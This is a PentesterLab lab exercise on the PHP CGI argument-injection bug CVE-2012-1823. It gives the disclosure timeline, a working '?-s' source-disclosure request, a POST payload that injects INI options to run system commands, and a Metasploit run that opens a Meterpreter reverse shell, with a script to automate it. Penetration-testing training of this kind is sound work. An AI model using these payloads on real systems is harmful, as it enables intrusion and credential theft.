CVE-2012-1823: PHP CGI
This exercise explains how you can exploit CVE-2012-1823 to retrieve the source code of an application and gain code execution.
This course details the exploitation of the PHP CGI bug (CVE-2012-1823).
This bug can be used by attackers to retrieve arbitrary code, and gain code execution on a server.
This is an example of what Pentesterlab's trainings looks like (in smaller and simpler ways), we hope you enjoy it.
This bug was initially discovered by Eindbazen during the Nullcon Capture The Flag event.
Eindbazen is a famous CTF team who participate in most CTFs.
The original advisory is available on their blog: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/.
The following timeline of this bug (copied from the advisory's page) is worth reading since it's pretty funny and gives you a good idea on how much time vendors asked/needed to fix an issue:
- 13/01/2012: Vulnerability discovered, used to compromise Nullcon Hackim 2012 scoreboard
- 17/01/2012: Eindbazen contacts firstname.lastname@example.org with a full report and a suggested patch
- 01/02/2012: Eindbazen asks PHP to confirm receipt, state their intent to hand off the vulnerability to CERT if progress is not made
- 01/02/2012: PHP forwards vulnerability report to PHP CGI maintainer
- 23/02/2012: CERT acknowledges receipt of vulnerability and attempts to contact PHP.
- 05/04/2012: Eindbazen asks CERT for a status update
- 05/04/2012: CERT responds saying that PHP is still working on a fix
- 20/04/2012: Eindbazen asks CERT to proceed with disclosure unless a patch is imminent
- 26/04/2012: CERT prepares draft advisory.
- 02/05/2012: CERT notifies Eindbazen that PHP is testing a patch and would like more time. Eindbazen agrees.
- 03/05/2012: Someone posts a mirror of the internal PHP bug to reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentally marked public.
As you can see, there are 4 months between the discovery of the vulnerability and its disclosure. Finally, "someone's" mistake forced Eindbazen do go public...
The bug is due to an error on how the URI is used and provided to PHP CGI when a URL lacks the
= character (typically used to separate the parameters name and value).
Basically, the URI is passed to the
php-cgi binary without enough filtering or encoding, allowing an attacker to pass an extra argument to the
php-cgi command line.
Using this bug to retrieve source code
If you have access to the
php-cgi binary, you can run it to see what options are accepted:
user@debian:~$ php-cgi -h Usage: php [-q] [-h] [-s] [-v] [-i] [-f
] php [args...] -a Run interactively -b | Bind Path for external FASTCGI Server mode -C Do not chdir to the script's directory -c | Look for php.ini file in this directory -n No php.ini file will be used -d foo[=bar] Define INI entry foo with value 'bar' -e Generate extended information for debugger/profiler -f Parse . Implies `-q' -h This help -i PHP information -l Syntax check only (lint) -m Show compiled in modules -q Quiet-mode. Suppress HTTP Header output. -s Display colour syntax highlighted source. -v Version number -w Display source with stripped comments and whitespace. -z Load Zend extension . -T Measure execution time of script repeated times.
We can see that the
-s option can be used to display the source code of the script.
We can use this behavior to retrieve the source code of the application by adding
?-s to the URL. This behavior can be really useful to:
- Retrieve source code.
- Retrieve database credentials.
Retrieve encryption keys or any password.
For example. access the page http://vulnerable/?-s to see the code of the page directly output. If you read the source code of the page, you will see that all the HTML code has been encoded to be displayed in the browser.
Using the bug to get code execution
More than just allowing code disclosure, this vulnerability allows attackers to get code execution.
To get code execution, we need to send PHP code to the server and have it be interpreted. The exploitation is based on using
php://input to embed the code in the body of the request.
As we have seen above, the
-d option can be used to change PHP configuration by modifying the INI entries.
The exploitation on this exercise requires just two entries to be used (to keep things simple).
To exploit this bug, you want PHP to read PHP code from your HTTP request. To do that, you will need a PHP option that tells PHP to read from a file and points it to
Luckily, PHP has an option named
auto_prepend_file, which since version 4.2.3:
"Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require function, so include_path is used".
The good thing about this option is that the content of the file is included before any other file, i.e.: before any other code is run.
So you are sure that no other code will disrupt your exploitation attempt.
However, if we want to use
php://input, we need to have
allow_url_include enabled, which is often not the case. But since we can redefine the INI entries, we can easily turn it on using
This exercise is an ideal and easy case to exploit since Suhosin and safe mode are disabled.
You can exploit CVE-2012-1823 using a proxy like
Burp Suite, or any tool allowing you to send an HTTP POST request.
In this example, we are going to use
lwp-request, a Perl based HTTP library.
lwp-request allows you to easily perform HTTP requests, using the command
lwp-request or directly
echo "<?php system('uname -a');die(); ?>" | POST "http://vulnerable/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
The call to the
die() function is only used to get the result, and prevent any other code or output to be displayed.
You should now see the result of your command!
Metasploit can be downloaded from their main website http://metasploit.org/download/.
Once you have decompressed the archive file, you can display the console using the command
Once you have metasploit installed, you can start it by running
After few seconds, the msf shell will appear:
Now select the exploit you want to use:
msf > use exploit/multi/http/php_cgi_arg_injection
You should be able to select your "victim", the
RHOST (remote host):
msf exploit(php_cgi_arg_injection) > set RHOST vulnerable
Since the application is running on port 80 (default value) and there is no vhost, you don't need to set the
You can now select a
PAYLOAD (the code that will actually be run).
For this, we are going to use
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp
From there, you just need to tell
metasploit what IP address to use to connect back to you:
msf exploit(php_cgi_arg_injection) > set LHOST
After a quick review of the options:
msf exploit(php_cgi_arg_injection) > show options Module options (exploit/multi/http/php_cgi_arg_injection): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOST vulnerable yes The target address RPORT 80 yes The target port TARGETURI no The URI to request VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST
yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic
Now we can run the exploit:
msf exploit(php_cgi_arg_injection) > exploit [*] Started reverse handler on
:4444 [*] Sending stage (38791 bytes) to [*] Meterpreter session 1 opened ( :4444 -> :39055) at 2012-05-22 16:10:40 +1000
If everything goes well, you can play with meterpreter:
meterpreter > ls meterpreter > ls Listing: /var/www ================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100664/rw-rw-r-- 2023 fil 2012-05-04 12:02:39 +1000 all.css 100664/rw-rw-r-- 289881 fil 2012-05-04 12:02:41 +1000 all.js 100664/rw-rw-r-- 42140 fil 2012-05-04 12:02:57 +1000 bootstrap-1.1.0.css 100664/rw-rw-r-- 56399 fil 2012-05-04 12:02:39 +1000 bootstrap.css 100664/rw-rw-r-- 1150 fil 2012-05-04 12:02:34 +1000 favicon.ico 100664/rw-rw-r-- 2684 fil 2012-05-04 14:09:04 +1000 index.php 100664/rw-rw-r-- 388 fil 2012-05-04 12:02:39 +1000 patch.css
Now that you have the exploit working, you can automate the exploitation by creating a metasploit script containing the following code (the list of commands from the previous section):
use exploit/multi/http/php_cgi_arg_injection set RHOST vulnerable set RPORT 80 set PAYLOAD php/meterpreter/reverse_tcp set LHOST
Once this code is saved as
php-cgi.msf, you can easily run it:
$ msfconsole -r php-cgi.msf [ASCII ART] [*] Processing metasploit-script for ERB directives. resource (metasploit-script)> use exploit/multi/http/php_cgi_arg_injection resource (metasploit-script)> set RHOST vulnerable RHOST => vulnerable resource (metasploit-script)> set RPORT 80 RPORT => 80 resource (metasploit-script)> set PAYLOAD php/meterpreter/reverse_tcp PAYLOAD => php/meterpreter/reverse_tcp resource (metasploit-script)> set LHOST
LHOST => resource (metasploit-script)> exploit [*] Started reverse handler on :4444 [*] Sending stage (38791 bytes) to [*] Meterpreter session 1 opened ( :4444 -> :38881) at 2012-05-22 15:32:29 +1000 meterpreter >
You can then play with metasploit, as seen previously.
This exercise showed you how to exploit the bug PHP-CGI (aka CVE-2012-1823).
I hope the course provides you with more details on how PentesterLab works.
This course is obviously way smaller than the paid training material we are providing.